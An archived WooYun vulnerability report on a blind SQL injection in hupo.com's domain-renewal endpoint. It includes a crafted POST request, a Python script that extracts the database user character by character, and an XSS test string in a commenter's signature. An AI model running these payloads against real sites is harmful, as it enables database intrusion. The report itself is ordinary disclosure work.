当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134068

漏洞标题:域名商安全之琥珀网主站SQL注入漏洞

相关厂商:琥珀网

漏洞作者: 深度安全实验室

提交时间:2015-08-14 11:21

修复时间:2015-10-02 17:28

公开时间:2015-10-02 17:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-14: 细节已通知厂商并且等待厂商处理中
2015-08-18: 厂商已经确认,细节仅向厂商公开
2015-08-28: 细节向核心白帽子及相关领域专家公开
2015-09-07: 细节向普通白帽子公开
2015-09-17: 细节向实习白帽子公开
2015-10-02: 细节向公众公开

简要描述:

详细说明:

POST /DO_RenewDomain.php HTTP/1.1
Content-Length: 188
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.hupo.com:80/
Cookie: PHPSESSID=f9brj2crqtot1s23iiihmgrau3
Host: www.hupo.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
submit=&AvailDomains=1&btnAdd=%e6%b7%bb%e5%8a%a0%20>>&btnRemove=<<%20%e7%a7%bb%e9%99%a4&cmd=SelectDomain&domains=-1' OR length(user())=15 or 'x'=' &DomainsList=1&realCmd=RenewDomain&step=3

domains参数
为真,user长度为15:

41.png

为假:

42.png


写个脚本跑跑:

43.png


付脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print 'Start to retrive MySQL User:\n'
user = ''
for i in range(1, 16):
for payload in payloads:
print '.',
conn = httplib.HTTPConnection('www.hupo.com', timeout=60)

s = "domains=-1' or ascii(mid(user()from(%s)for(1)))=%s or 'x'='"% (i, ord(payload))

conn.request(method='POST',
url='/DO_RenewDomain.php',
body='submit=&AvailDomains=1&btnAdd=%e6%b7%bb%e5%8a%a0%20>>&btnRemove=<<%20%e7%a7%bb%e9%99%a4&cmd=SelectDomain&DomainsList=1&realCmd=RenewDomain&step=3&' + s,
headers=headers)
html_doc = conn.getresponse().read().decode('utf-8')
conn.close()
#print html_doc

if html_doc.find(u'2015-08-29') > 0:
user += payload
sys.stdout.write('\r[In Progress]' + user)
sys.stdout.flush()
break
print '[Done]MySQL user is %s' % user

漏洞证明:

修复方案:

我看给分一般,就这样吧。。。

版权声明:转载请注明来源 深度安全实验室@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-08-18 17:27

厂商回复:

漏洞已修复

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-18 17:36 | DloveJ ( 普通白帽子 | Rank:1107 漏洞数:200 | <a href=javascrip:alert('xss')>s</a> 点...)

    厂商好屌啊。。主站注入给5rank???洞主,,哎。。

  2. 2015-08-19 10:51 | 深度安全实验室 ( 核心白帽子 | Rank:2075 漏洞数:333 )

    @DloveJ 啥都不说了 说多了 都是眼泪